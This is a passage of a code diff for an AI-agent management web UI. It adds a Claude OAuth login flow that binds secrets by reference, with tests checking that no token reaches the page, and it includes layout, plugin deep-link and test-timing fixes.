+      expiresAt: null,
+      failure: null,
+      panelMode: "submitted_browser_code",
+      prompt: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    mockAgentsApi.getClaudeSetupTokenLoginPrompt.mockResolvedValue({
+      authorizationUrl: "https://claude.example.test/authorize",
+    });
+    mockAgentsApi.submitClaudeSetupTokenBrowserCode.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    mockAgentsApi.completeClaudeSetupTokenLogin.mockResolvedValue({
+      storedSessionId: "stored-session-1",
+    });
+    mockAgentsApi.cancelClaudeSetupTokenLogin.mockResolvedValue(undefined);
+
+    mockEnvironmentsApi.list.mockResolvedValue([
+      { id: "local-1", name: "Local", driver: "local", config: {} },
+      {
+        id: "sandbox-1",
+        name: "Daytona",
+        driver: "sandbox",
+        config: { provider: "daytona" },
+      },
+    ]);
+    mockEnvironmentsApi.capabilities.mockResolvedValue(SANDBOX_CAPABILITIES);
+    // The instance default is the sandbox, so the effective login environment
+    // resolves to it without the user touching the override selector.
+    mockInstanceSettingsApi.get.mockResolvedValue({ defaultEnvironmentId: "sandbox-1" });
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({ enableEnvironments: true });
+    mockInstanceSettingsApi.getGeneral.mockResolvedValue({ executionMode: "any" });
+    mockSecretsApi.list.mockResolvedValue([]);
+    mockSecretsApi.listProposals.mockResolvedValue([]);
+    mockSecretsApi.listUserSecretDefinitions.mockResolvedValue([]);
+    mockCompanySkillsApi.list.mockResolvedValue([]);
+    mockIssuesApi.list.mockResolvedValue([]);
+    mockProjectsApi.list.mockResolvedValue([]);
+    mockAssetsApi.uploadImage.mockResolvedValue({ contentPath: "/asset" });
+    mockClipboard.copyTextToClipboard.mockResolvedValue(undefined);
+  });
+
+  afterEach(async () => {
+    for (const root of roots) {
+      await act(async () => {
+        root.unmount();
+      });
+    }
+    roots = [];
+    document.body.innerHTML = "";
+    vi.clearAllMocks();
+  });
+
+  it("shows Log in for a Claude sandbox before Create agent", async () => {
+    const result = await renderNewAgent();
+    roots.push(result.root);
+
+    // Before the test the page shows no login affordance.
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+
+    await clickByText(result.container, "Test Agent");
+    await flushUntil(() => Boolean(findButton(result.container, "Log in")));
+
+    const loginButton = findButton(result.container, "Log in");
+    const createButton = findButton(result.container, "Create agent");
+    expect(loginButton).toBeTruthy();
+    expect(createButton).toBeTruthy();
+
+    // The login panel renders before the Create agent button in the document, so
+    // the user completes the subscription login before an agent exists.
+    const order = loginButton!.compareDocumentPosition(createButton!);
+    expect(order & Node.DOCUMENT_POSITION_FOLLOWING).toBeTruthy();
+  });
+
+  it("stores the secret and adds the fixed binding through the create request, with no token in the DOM", async () => {
+    const result = await renderNewAgent();
+    roots.push(result.root);
+
+    await completeClaudeLogin(result.container);
+
+    expect(mockAgentsApi.completeClaudeSetupTokenLogin).toHaveBeenCalledWith(
+      "company-1",
+      "claude-session-1",
+    );
+
+    await clickByText(result.container, "Create agent");
+    await flushUntil(() => mockAgentsApi.hire.mock.calls.length > 0);
+
+    expect(mockAgentsApi.hire).toHaveBeenCalledTimes(1);
+    const [companyId, payload] = mockAgentsApi.hire.mock.calls[0] as [
+      string,
+      Record<string, unknown>,
+    ];
+    expect(companyId).toBe("company-1");
+
+    // The create request carries the non-secret stored-session claim, and the
+    // adapter config carries the fixed reference binding.
+    expect(payload.storedSessionId).toBe("stored-session-1");
+    const adapterConfig = payload.adapterConfig as Record<string, unknown>;
+    const env = adapterConfig.env as Record<string, Record<string, unknown>>;
+    expect(env.CLAUDE_CODE_OAUTH_TOKEN).toEqual({
+      type: "user_secret_ref",
+      key: "CLAUDE_CODE_OAUTH_TOKEN",
+      version: "latest",
+      required: true,
+    });
+    // The binding is a reference. It carries no token value.
+    expect(env.CLAUDE_CODE_OAUTH_TOKEN).not.toHaveProperty("value");
+
+    // The token never enters the Document Object Model, and no request payload
+    // carries a token value.
+    expect(result.container.textContent ?? "").not.toContain("sk-ant");
+    expect(JSON.stringify(payload)).not.toContain("sk-ant");
+  });
+
+  it("applies a stored token first and starts a replacement login with the captured version", async () => {
+    // The owner already has a stored Claude token. The panel reads the status,
+    // applies the stored token first, and shows a replace action. A replacement
+    // login carries the captured secret id and version, so the server rotates the
+    // stored value under a version-checked overwrite instead of a first write.
+    mockAgentsApi.getClaudeOAuthTokenStatus.mockResolvedValue({
+      secretId: "44444444-4444-4444-8444-444444444444",
+      latestVersion: 3,
+    });
+
+    const result = await renderNewAgent();
+    roots.push(result.root);
+
+    await clickByText(result.container, "Test Agent");
+    // The panel shows the replace action only after it reads the stored-token
+    // status, so the button label proves the panel captured the version.
+    await flushUntil(() => Boolean(findButton(result.container, "Log in to replace")));
+    await clickByText(result.container, "Log in to replace");
+    await flushUntil(() => mockAgentsApi.startClaudeSetupTokenLogin.mock.calls.length > 0);
+
+    expect(mockAgentsApi.startClaudeSetupTokenLogin).toHaveBeenCalledWith("company-1", {
+      environmentId: "sandbox-1",
+      overwrite: {
+        expectedSecretId: "44444444-4444-4444-8444-444444444444",
+        expectedLatestVersion: 3,
+      },
+    });
+  });
+});
diff --git a/ui/src/pages/NewAgent.tsx b/ui/src/pages/NewAgent.tsx
index c1e8db54d4d..8fcc8158651 100644
--- a/ui/src/pages/NewAgent.tsx
+++ b/ui/src/pages/NewAgent.tsx
@@ -28,6 +28,8 @@ import {
   type CreateConfigValues,
 } from "../components/AgentConfigForm";
 import { defaultCreateValues } from "../components/agent-config-defaults";
+import { buildFixedClaudeOAuthBinding } from "../components/environment-variables-editor/model";
+import type { EnvBinding } from "@paperclipai/shared";
 import { getUIAdapter, listUIAdapters } from "../adapters";
 import { useDisabledAdaptersSync } from "../adapters/use-disabled-adapters";
 import { isValidAdapterType } from "../adapters/metadata";
@@ -38,6 +40,7 @@ import { buildPermissionsForTrustPreset, getTrustPreset } from "../lib/trust-pol
 import { DEFAULT_CODEX_LOCAL_BYPASS_APPROVALS_AND_SANDBOX } from "@paperclipai/adapter-codex-local";
 import { DEFAULT_CURSOR_LOCAL_MODEL } from "@paperclipai/adapter-cursor-local";
 import { DEFAULT_GEMINI_LOCAL_MODEL } from "@paperclipai/adapter-gemini-local";
+import { DEFAULT_KIMI_LOCAL_MODEL } from "@paperclipai/adapter-kimi-local";
 import { DEFAULT_OPENCODE_LOCAL_MODEL, isValidOpenCodeModelId } from "@paperclipai/adapter-opencode-local";
 
 function createValuesForAdapterType(
@@ -50,6 +53,8 @@ function createValuesForAdapterType(
       DEFAULT_CODEX_LOCAL_BYPASS_APPROVALS_AND_SANDBOX;
   } else if (adapterType === "gemini_local") {
     nextValues.model = DEFAULT_GEMINI_LOCAL_MODEL;
+  } else if (adapterType === "kimi_local") {
+    nextValues.model = DEFAULT_KIMI_LOCAL_MODEL;
   } else if (adapterType === "cursor") {
     nextValues.model = DEFAULT_CURSOR_LOCAL_MODEL;
   } else if (adapterType === "opencode_local") {
@@ -196,6 +201,39 @@ export function NewAgent() {
     });
   }
 
+  // Add the fixed CLAUDE_CODE_OAUTH_TOKEN binding after a Claude subscription
+  // login reaches the server `stored` state. The new-agent page lifts the login
+  // feedback and renders the panel itself, so it holds the stored-session claim
+  // and the fixed binding in the create-mode values here. The claim is a
+  // reference, not a token; the create request sends it, and the server binds
+  // and enforces the token. Keep every unrelated binding.
+  const handleClaudeLoginStored = useCallback((storedSessionId: string) => {
+    setConfigValues((prev) => ({
+      ...prev,
+      envBindings: {
+        ...((prev.envBindings ?? {}) as Record<string, EnvBinding>),
+        ...buildFixedClaudeOAuthBinding(),
+      },
+      claudeStoredSessionId: storedSessionId,
+    }));
+  }, []);
+
+  // Bind the fixed CLAUDE_CODE_OAUTH_TOKEN reference to an existing stored login
+  // with no new login round trip. Add the fixed binding and set the apply-existing
+  // flag on the create-mode values. The create request sends the flag; the server
+  // binds the token only for a user actor and only when a stored value exists.
+  // Keep every unrelated binding.
+  const handleApplyStoredClaudeLogin = useCallback(() => {
+    setConfigValues((prev) => ({
+      ...prev,
+      envBindings: {
+        ...((prev.envBindings ?? {}) as Record<string, EnvBinding>),
+        ...buildFixedClaudeOAuthBinding(),
+      },
+      claudeApplyStoredLogin: true,
+    }));
+  }, []);
+
   const handleTestAgentActionChange = useCallback((fn: (() => void) | null) => {
     setTestAgentAction(() => fn);
   }, []);
@@ -370,6 +408,8 @@ export function NewAgent() {
                 companyId={testAgentFeedback.login.companyId}
                 adapterType={testAgentFeedback.login.adapterType}
                 environmentId={testAgentFeedback.login.environmentId}
+                onStored={handleClaudeLoginStored}
+                onApplyStored={handleApplyStoredClaudeLogin}
               />
             )}
             <div className="flex items-center justify-between gap-2">
diff --git a/ui/src/pages/PluginManager.tsx b/ui/src/pages/PluginManager.tsx
index f1735d99516..e13ab4ce287 100644
--- a/ui/src/pages/PluginManager.tsx
+++ b/ui/src/pages/PluginManager.tsx
@@ -101,7 +101,6 @@ export function PluginManager() {
     setBreadcrumbs([
       { label: selectedCompany?.name ?? "Company", href: "/dashboard" },
       { label: "Settings", href: "/company/settings" },
-      { label: "Instance settings", href: "/company/settings/instance/general" },
       { label: "Plugins" },
     ]);
   }, [selectedCompany?.name, setBreadcrumbs]);
@@ -190,7 +189,7 @@ export function PluginManager() {
   if (error) return <div className="p-4 text-sm text-destructive">Failed to load plugins.</div>;
 
   return (
-    <div className="space-y-6 max-w-5xl">
+    <div className="max-w-6xl space-y-6">
       <div className="flex items-center justify-between">
         <div className="flex items-center gap-2">
           <Puzzle className="h-6 w-6 text-muted-foreground" />
diff --git a/ui/src/pages/PluginSettings.test.tsx b/ui/src/pages/PluginSettings.test.tsx
index c8e5365ad67..b1a6c047e61 100644
--- a/ui/src/pages/PluginSettings.test.tsx
+++ b/ui/src/pages/PluginSettings.test.tsx
@@ -164,7 +164,7 @@ describe("PluginSettings", () => {
   it("routes environment-provider plugins to instance environments when they have no instance config", async () => {
     const root = await renderSettings(container);
 
-    expect(container.textContent).toContain("Configure this plugin from Instance Settings → Environments.");
+    expect(container.textContent).toContain("Configure this plugin from Settings → Environments.");
     expect(container.textContent).toContain("secret bindings still resolve through the selected company context");
     const link = container.querySelector('a[href="/company/settings/instance/environments"]');
     expect(link?.textContent).toContain("Open Environments");
diff --git a/ui/src/pages/PluginSettings.tsx b/ui/src/pages/PluginSettings.tsx
index 9ae5ed37a85..4985765efc9 100644
--- a/ui/src/pages/PluginSettings.tsx
+++ b/ui/src/pages/PluginSettings.tsx
@@ -122,7 +122,6 @@ export function PluginSettings() {
     setBreadcrumbs([
       { label: selectedCompany?.name ?? "Company", href: "/dashboard" },
       { label: "Settings", href: "/company/settings" },
-      { label: "Instance settings", href: "/company/settings/instance/general" },
       { label: "Plugins", href: "/company/settings/instance/plugins" },
       { label: plugin?.manifestJson?.displayName ?? plugin?.packageName ?? "Plugin Details" },
     ]);
@@ -158,7 +157,7 @@ export function PluginSettings() {
   const driverLabel = environmentDriverNames.join(", ");
 
   return (
-    <div className="space-y-6 max-w-5xl">
+    <div className="max-w-6xl space-y-6">
       <div className="flex items-center gap-4">
         <Link to="/company/settings/instance/plugins">
           <Button variant="outline" size="icon" className="h-8 w-8">
@@ -259,7 +258,7 @@ export function PluginSettings() {
                 />
               ) : environmentDrivers.length > 0 ? (
                 <div className="rounded-md border border-border/60 bg-muted/20 px-4 py-3 text-sm">
-                  <p className="font-medium text-foreground">Configure this plugin from Instance Settings → Environments.</p>
+                  <p className="font-medium text-foreground">Configure this plugin from Settings → Environments.</p>
                   <p className="mt-1 text-muted-foreground">
                     {driverLabel || "This plugin"} registers environment runtime settings there so the execution target
                     stays instance-scoped while secret bindings still resolve through the selected company context.
diff --git a/ui/src/pages/ProfileSettings.tsx b/ui/src/pages/ProfileSettings.tsx
index 6239fa68cec..8dbd86cd62a 100644
--- a/ui/src/pages/ProfileSettings.tsx
+++ b/ui/src/pages/ProfileSettings.tsx
@@ -38,7 +38,6 @@ export function ProfileSettings() {
   useEffect(() => {
     setBreadcrumbs([
       { label: "Settings", href: "/company/settings" },
-      { label: "Instance settings", href: "/company/settings/instance/general" },
       { label: "Profile" },
     ]);
   }, [setBreadcrumbs]);
@@ -141,7 +140,7 @@ export function ProfileSettings() {
     : "Select a company to upload an avatar into Paperclip storage.";
 
   return (
-    <div className="max-w-4xl space-y-6">
+    <div className="max-w-6xl space-y-6">
       <div className="space-y-2">
         <div className="flex items-center gap-2">
           <UserRoundPen className="h-5 w-5 text-muted-foreground" />
@@ -271,9 +270,7 @@ export function ProfileSettings() {
           </div>
         </form>
 
-        <Card className="rounded-(--rad-28) border-border/70 p-6">
-          <InboxAgentPolicyControl companyId={selectedCompanyId} />
-        </Card>
+        <InboxAgentPolicyControl companyId={selectedCompanyId} />
       </section>
     </div>
   );
diff --git a/ui/src/pages/ProjectDetail.test.tsx b/ui/src/pages/ProjectDetail.test.tsx
index 9b6f688f5c0..22cca9127ae 100644
--- a/ui/src/pages/ProjectDetail.test.tsx
+++ b/ui/src/pages/ProjectDetail.test.tsx
@@ -33,6 +33,16 @@ const mockNavigate = vi.hoisted(() => vi.fn());
 const mockSetBreadcrumbs = vi.hoisted(() => vi.fn());
 const mockIssuesList = vi.hoisted(() => vi.fn());
 const mockSummarySlotCard = vi.hoisted(() => vi.fn());
+const mockLocation = vi.hoisted(() => ({
+  pathname: "/projects/project-1/plugin-operations",
+  search: "",
+}));
+const mockCompanyContext = vi.hoisted(() => ({
+  companies: [{ id: "company-1", issuePrefix: "PAP" }] as Array<{ id: string; issuePrefix: string }>,
+  selectedCompanyId: "company-1" as string | null,
+}));
+const mockUsePluginSlots = vi.hoisted(() => vi.fn(() => ({ slots: [] as unknown[], isLoading: false })));
+const mockPluginSlotMount = vi.hoisted(() => vi.fn());
 
 vi.mock("../api/projects", () => ({ projectsApi: mockProjectsApi }));
 vi.mock("../api/issues", () => ({ issuesApi: mockIssuesApi }));
@@ -47,15 +57,15 @@ vi.mock("../api/resourceMemberships", () => ({ resourceMembershipsApi: mockResou
 vi.mock("@/lib/router", () => ({
   Link: ({ children, to }: { children?: ReactNode; to: string }) => <a href={to}>{children}</a>,
   Navigate: ({ to }: { to: string }) => <div data-testid="navigate">{to}</div>,
-  useLocation: () => ({ pathname: "/projects/project-1/plugin-operations", search: "", hash: "", state: null }),
+  useLocation: () => ({ pathname: mockLocation.pathname, search: mockLocation.search, hash: "", state: null }),
   useNavigate: () => mockNavigate,
   useParams: () => ({ projectId: "project-1" }),
 }));
 
 vi.mock("../context/CompanyContext", () => ({
   useCompany: () => ({
-    companies: [{ id: "company-1", issuePrefix: "PAP" }],
-    selectedCompanyId: "company-1",
+    companies: mockCompanyContext.companies,
+    selectedCompanyId: mockCompanyContext.selectedCompanyId,
     setSelectedCompanyId: vi.fn(),
   }),
 }));
@@ -63,9 +73,12 @@ vi.mock("../context/PanelContext", () => ({ usePanel: () => ({ closePanel: vi.fn
 vi.mock("../context/ToastContext", () => ({ useToastActions: () => ({ pushToast: vi.fn() }) }));
 vi.mock("../context/BreadcrumbContext", () => ({ useBreadcrumbs: () => ({ setBreadcrumbs: mockSetBreadcrumbs }) }));
 vi.mock("@/plugins/slots", () => ({
-  PluginSlotMount: () => null,
+  PluginSlotMount: (props: unknown) => {
+    mockPluginSlotMount(props);
+    return <div data-testid="plugin-slot-mount" />;
+  },
   PluginSlotOutlet: () => null,
-  usePluginSlots: () => ({ slots: [], isLoading: false }),
+  usePluginSlots: mockUsePluginSlots,
 }));
 vi.mock("@/plugins/launchers", () => ({ PluginLauncherOutlet: () => null }));
 vi.mock("../components/ProjectProperties", () => ({
@@ -166,6 +179,11 @@ describe("ProjectDetail", () => {
   beforeEach(() => {
     container = document.createElement("div");
     document.body.appendChild(container);
+    mockLocation.pathname = "/projects/project-1/plugin-operations";
+    mockLocation.search = "";
+    mockCompanyContext.companies = [{ id: "company-1", issuePrefix: "PAP" }];
+    mockCompanyContext.selectedCompanyId = "company-1";
+    mockUsePluginSlots.mockReturnValue({ slots: [], isLoading: false });
     mockProjectsApi.get.mockResolvedValue(project());
     mockProjectsApi.list.mockResolvedValue([project()]);
     mockIssuesApi.list.mockResolvedValue([]);
@@ -227,4 +245,85 @@ describe("ProjectDetail", () => {
       originKindPrefix: "plugin:paperclip.missions",
     });
   });
+
+  describe("plugin detail-tab deep links", () => {
+    const PLUGIN_TAB = "plugin:paperclipai.plugin-llm-wiki:project-knowledge";
+    const knowledgeSlot = {
+      id: "project-knowledge",
+      type: "detailTab",
+      displayName: "Knowledge",
+      entityTypes: ["project"],
+      pluginId: "plugin-llm-wiki",
+      pluginKey: "paperclipai.plugin-llm-wiki",
+      pluginDisplayName: "LLM Wiki",
+      pluginVersion: "0.2.0",
+    };
+
+    async function renderDetail() {
+      const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
+      await act(async () => {
+        root = createRoot(container);
+        root.render(
+          <QueryClientProvider client={queryClient}>
+            <ProjectDetail />
+          </QueryClientProvider>,
+        );
+      });
+      await act(async () => {
+        await new Promise((resolve) => setTimeout(resolve, 0));
+        await new Promise((resolve) => setTimeout(resolve, 0));
+      });
+    }
+
+    it("keeps a cold deep link on the plugin tab while contributions are still loading", async () => {
+      mockLocation.pathname = "/projects/project-1";
+      mockLocation.search = `?tab=${encodeURIComponent(PLUGIN_TAB)}`;
+      mockUsePluginSlots.mockReturnValue({ slots: [], isLoading: true });
+
+      await renderDetail();
+
+      expect(container.querySelector('[data-testid="navigate"]')).toBeNull();
+      expect(container.querySelector('[data-testid="plugin-slot-mount"]')).toBeNull();
+    });
+
+    it("does not bounce to the issues tab before the company for the slots query resolves", async () => {
+      // Cold reload race: the slots query is disabled until a company is
+      // known, and a disabled query reports isLoading=false.
+      mockLocation.pathname = "/projects/project-1";
+      mockLocation.search = `?tab=${encodeURIComponent(PLUGIN_TAB)}`;
+      mockCompanyContext.companies = [];
+      mockCompanyContext.selectedCompanyId = null;
+      mockUsePluginSlots.mockReturnValue({ slots: [], isLoading: false });
+
+      await renderDetail();
+
+      expect(container.querySelector('[data-testid="navigate"]')).toBeNull();
+    });
+
+    it("renders the registered plugin tab for a direct deep link", async () => {
+      mockLocation.pathname = "/projects/project-1";
+      mockLocation.search = `?tab=${encodeURIComponent(PLUGIN_TAB)}`;
+      mockUsePluginSlots.mockReturnValue({ slots: [knowledgeSlot], isLoading: false });
+
+      await renderDetail();
+
+      expect(container.querySelector('[data-testid="navigate"]')).toBeNull();
+      expect(container.querySelector('[data-testid="plugin-slot-mount"]')).not.toBeNull();
+      expect(mockPluginSlotMount).toHaveBeenCalledWith(expect.objectContaining({
+        slot: expect.objectContaining({ id: "project-knowledge", pluginKey: "paperclipai.plugin-llm-wiki" }),
+      }));
+      expect(container.textContent).toContain("Knowledge");
+    });
+
+    it("falls back to the issues tab once contributions load without the requested tab", async () => {
+      mockLocation.pathname = "/projects/project-1";
+      mockLocation.search = `?tab=${encodeURIComponent(PLUGIN_TAB)}`;
+      mockUsePluginSlots.mockReturnValue({ slots: [], isLoading: false });
+
+      await renderDetail();
+
+      expect(container.querySelector('[data-testid="navigate"]')?.textContent)
+        .toBe("/projects/project-1/issues");
+    });
+  });
 });
diff --git a/ui/src/pages/ProjectDetail.tsx b/ui/src/pages/ProjectDetail.tsx
index 7041a4a7926..db612c6ce00 100644
--- a/ui/src/pages/ProjectDetail.tsx
+++ b/ui/src/pages/ProjectDetail.tsx
@@ -430,6 +430,10 @@ export function ProjectDetail() {
     [pluginDetailSlots],
   );
   const activePluginTab = pluginTabItems.find((item) => item.value === activeTab) ?? null;
+  // The slots query is disabled until the project's company resolves, and a
+  // disabled query reports isLoading=false — so "not loading" alone cannot
+  // distinguish "contribution unavailable" from "not asked yet" on cold loads.
+  const pluginTabDecisionLoaded = Boolean(resolvedCompanyId) && !pluginDetailSlotsLoading;
   const isolatedWorkspacesEnabled = experimentalSettingsQuery.data?.enableIsolatedWorkspaces === true;
   const workspaceTabProjectId = project?.id ?? null;
   const { data: workspaceTabIssues = [], isLoading: isWorkspaceTabIssuesLoading, error: workspaceTabIssuesError } = useQuery({
@@ -673,7 +677,10 @@ export function ProjectDetail() {
     },
   });
 
-  if (pluginTabFromSearch && !pluginDetailSlotsLoading && !activePluginTab) {
+  if (pluginTabFromSearch && !activePluginTab && !error) {
+    if (!pluginTabDecisionLoaded) {
+      return <PageSkeleton variant="detail" />;
+    }
     return <Navigate to={`/projects/${canonicalProjectRef}/issues`} replace />;
   }
 
diff --git a/ui/src/pages/Secrets.render.test.tsx b/ui/src/pages/Secrets.render.test.tsx
index 87e6bbc2453..bd4b62ba11d 100644
--- a/ui/src/pages/Secrets.render.test.tsx
+++ b/ui/src/pages/Secrets.render.test.tsx
@@ -778,6 +778,7 @@ describe("Secrets page layout", () => {
 
     const listContainer = container.querySelector('[data-testid="secrets-list-container"]');
     const tableView = container.querySelector('[data-testid="secrets-table-view"]');
+    expect(listContainer?.parentElement?.className).not.toContain("overflow-y-auto");
     const cardView = container.querySelector('[data-testid="secrets-card-view"]');
     expect(listContainer?.className).toContain("@container");
     expect(tableView?.className).toContain("@min-[40rem]:block");
diff --git a/ui/src/pages/Secrets.tsx b/ui/src/pages/Secrets.tsx
index 0f07b542dff..b385b0276d8 100644
--- a/ui/src/pages/Secrets.tsx
+++ b/ui/src/pages/Secrets.tsx
@@ -1793,7 +1793,7 @@ export function Secrets() {
 
   return (
     <TooltipProvider>
-    <div className="flex h-full min-h-0 flex-col gap-4">
+    <div className="flex max-w-6xl flex-col gap-4">
       <div className="flex items-center gap-2">
         <KeyRound className="h-5 w-5 text-muted-foreground" />
         <h1 className="text-lg font-semibold">Secrets</h1>
@@ -1802,7 +1802,7 @@ export function Secrets() {
       <Tabs
         value={activeTab}
         onValueChange={(value) => setActiveTab(value as SecretsTab)}
-        className="flex min-h-0 flex-1 flex-col gap-4"
+        className="flex flex-col gap-4"
       >
         <PageTabBar
           items={[
@@ -1831,7 +1831,7 @@ export function Secrets() {
           onValueChange={(value) => setActiveTab(value as SecretsTab)}
         />
 
-        <TabsContent value="secrets" className="flex min-h-0 flex-1 flex-col gap-3 overflow-hidden">
+        <TabsContent value="secrets" className="flex flex-col gap-3">
           <SecretsHowToUse />
           <div className="flex flex-wrap items-center gap-2">
             <div className="relative w-48 sm:w-64 md:w-80">
@@ -1936,7 +1936,7 @@ export function Secrets() {
               </Button>
             </div>
           ) : null}
-          <div className="min-h-0 flex-1 overflow-y-auto">
+          <div>
             {secretsQuery.isError || userDefinitionsQuery.isError ? (
               <div className="text-sm text-destructive flex items-center gap-2 py-4">
                 <AlertCircle className="h-4 w-4" /> Failed to load secrets:{" "}
@@ -2183,11 +2183,11 @@ export function Secrets() {
         </TabsContent>
         <TabsContent
           value="my-secrets"
-          className="flex min-h-0 flex-1 flex-col gap-3 overflow-hidden"
+          className="flex flex-col gap-3"
         >
           <MyUserSecretsTab companyId={selectedCompanyId} />
         </TabsContent>
-        <TabsContent value="vaults" className="min-h-0 flex-1 overflow-y-auto">
+        <TabsContent value="vaults">
           <ProviderVaultsTab
             providers={providers}
             providerConfigs={providerConfigs}
@@ -2210,7 +2210,7 @@ export function Secrets() {
             }
           />
         </TabsContent>
-        <TabsContent value="proposals" className="min-h-0 flex-1 overflow-y-auto">
+        <TabsContent value="proposals">
           {selectedCompanyId ? (
             <ProposalsTab companyId={selectedCompanyId} providerConfigs={providerConfigs} />
           ) : null}
diff --git a/ui/src/pages/SkillStudio.test.tsx b/ui/src/pages/SkillStudio.test.tsx
index a8afa4b62fc..dd01d631a60 100644
--- a/ui/src/pages/SkillStudio.test.tsx
+++ b/ui/src/pages/SkillStudio.test.tsx
@@ -150,23 +150,21 @@ async function act(callback: () => void | Promise<void>) {
   await result;
 }
 
-async function flushReact() {
-  await Promise.resolve();
-  await new Promise((resolve) => window.setTimeout(resolve, 0));
-}
-
+/**
+ * Waits on the condition, not on a fixed number of turns. A hand-rolled retry
+ * loop is ample on an idle machine and not when the suite runs many workers in
+ * parallel: it gives up after N turns and reports a failure on behaviour that
+ * works. `vi.waitFor` retries against a time budget, so a loaded worker gets
+ * more turns instead.
+ *
+ * Same replacement as #11499 and #11521, which fixed the shorter-budget
+ * instances of this in the routing tests.
+ *
+ * This was a reimplementation of `vi.waitFor` down to rethrowing the last
+ * error, differing only in bounding on turns rather than on time.
+ */
 async function waitFor(assertion: () => void) {
-  let lastError: unknown;
-  for (let attempt = 0; attempt < 25; attempt += 1) {
-    try {
-      assertion();
-      return;
-    } catch (error) {
-      lastError = error;
-      await flushReact();
-    }
-  }
-  throw lastError;
+  await vi.waitFor(assertion);
 }
 
 async function renderStudio() {
diff --git a/ui/src/pages/StatusCards/format.test.ts b/ui/src/pages/StatusCards/format.test.ts
index 5a39b0a9251..c5007b9e621 100644
--- a/ui/src/pages/StatusCards/format.test.ts
+++ b/ui/src/pages/StatusCards/format.test.ts
@@ -22,7 +22,7 @@ function update(overrides: Partial<StatusCardUpdate>): StatusCardUpdate {
     model: null,
     queryVersion: 1,
     changeSummary: null,
-    startedAt: new Date().toISOString(),
+    startedAt: NOW.toISOString(),
     finishedAt: null,
     status: "ok",
     error: null,
@@ -30,11 +30,26 @@ function update(overrides: Partial<StatusCardUpdate>): StatusCardUpdate {
   };
 }
 
+// A fixed instant rather than the real clock, so these fixtures mean the same
+// thing on every machine and at every hour. `rollupUpdatesToday` filters on the
+// *UTC* day boundary, and building from `new Date()` fails against that in two
+// separate ways — see `iso` below. The function takes `now` for exactly this
+// reason, and the sibling test at the bottom of this file already passes one.
+const NOW = new Date("2026-07-23T12:00:00.000Z");
+
 function iso(daysAgo: number): string {
-  const d = new Date();
-  d.setDate(d.getDate() - daysAgo);
-  // Noon avoids DST/midnight edge cases in the local-day filter.
-  d.setHours(12, 0, 0, 0);
+  const d = new Date(NOW);
+  d.setUTCDate(d.getUTCDate() - daysAgo);
+  // Noon UTC, so a row is unambiguously inside the UTC day it belongs to.
+  //
+  // Built on the *local* day instead, `iso(0)` misses in both directions. West
+  // of UTC it lands in the previous UTC day for the stretch between UTC
+  // midnight and local midnight — about seven hours a day at UTC-7 — and east
+  // of UTC+12 "today at local noon" is already yesterday in UTC outright.
+  // Either way today's rows drop out of a filter that means to count them. A
+  // run crossing midnight UTC splits the same way, with `iso(0)` and the
+  // function's default `now` landing on different days.
+  d.setUTCHours(12, 0, 0, 0);
   return d.toISOString();
 }
 
@@ -61,7 +76,7 @@ describe("rollupUpdatesToday", () => {
       // yesterday + last week — must not be counted as "today"
       update({ kind: "full", inputTokens: 9999, outputTokens: 9999, costCents: 99, startedAt: iso(1) }),
       update({ kind: "incremental", inputTokens: 9999, outputTokens: 9999, costCents: 99, startedAt: iso(7) }),
-    ]);
+    ], NOW);
     // Only today's full rebuild counts as an update (compile excluded).
     expect(rollup.updateCount).toBe(1);
     // Today's tokens/cost include today's compile but not older days.
diff --git a/ui/src/pages/agent-skills/AgentSkillReleasePicker.test.ts b/ui/src/pages/agent-skills/AgentSkillReleasePicker.test.ts
index 6f896b341d6..6fc383362f4 100644
--- a/ui/src/pages/agent-skills/AgentSkillReleasePicker.test.ts
+++ b/ui/src/pages/agent-skills/AgentSkillReleasePicker.test.ts
@@ -31,8 +31,12 @@ describe("formatReleaseDate", () => {
   });
 
   it("collapses a full timestamp to its calendar day", () => {
-    // Anchored to noon UTC so it stays on the 15th regardless of local offset.
-    expect(formatReleaseDate("2026-07-15T12:00:00Z" as never)).toBe("2026-07-15");
+    // Anchored to local noon. `formatReleaseDate` reads the *local* calendar
+    // fields (getFullYear/getMonth/getDate), so a UTC anchor does not hold the
+    // day regardless of offset as it once claimed here — noon UTC is 02:00 on
+    // the 16th at UTC+14, and the assertion failed there.
+    const localNoon = new Date(2026, 6, 15, 12, 0, 0, 0);
+    expect(formatReleaseDate(localNoon.toISOString() as never)).toBe("2026-07-15");
   });
 
   it("returns null for missing or unparseable input", () => {
diff --git a/ui/src/pages/secrets/MyUserSecretsTab.tsx b/ui/src/pages/secrets/MyUserSecretsTab.tsx
index e56b84a679a..53d7935971d 100644
--- a/ui/src/pages/secrets/MyUserSecretsTab.tsx
+++ b/ui/src/pages/secrets/MyUserSecretsTab.tsx
@@ -53,7 +53,7 @@ export function MyUserSecretsTab({ companyId }: { companyId: string }) {
   ).length;
 
   return (
-    <div className="flex min-h-0 flex-1 flex-col gap-3 overflow-hidden">
+    <div className="flex flex-col gap-3">
       <div className="flex items-start gap-2 rounded-md border border-violet-500/30 bg-violet-500/5 px-4 py-3 text-xs text-violet-800 dark:text-violet-200">
         <UserRound className="h-4 w-4 mt-0.5 shrink-0" />
         <p>
@@ -69,7 +69,7 @@ export function MyUserSecretsTab({ companyId }: { companyId: string }) {
         </p>
       </div>
 
-      <div className="min-h-0 flex-1 overflow-y-auto">
+      <div>
         {mySecretsQuery.isError ? (
           <div className="flex items-center gap-2 py-4 text-sm text-destructive">
             <AlertCircle className="h-4 w-4" /> Failed to load your secrets:{" "}
diff --git a/ui/src/pages/tools/SmokeLabTab.tsx b/ui/src/pages/tools/SmokeLabTab.tsx
index 9dc3ce2fc3c..df3c6f33bda 100644
--- a/ui/src/pages/tools/SmokeLabTab.tsx
+++ b/ui/src/pages/tools/SmokeLabTab.tsx
@@ -178,7 +178,7 @@ export function SmokeLabTab({ companyId }: { companyId: string }) {
         <p className="mt-1.5 max-w-xl text-sm text-muted-foreground">
           The Smoke Lab is an experimental developer surface for exercising the integration paths
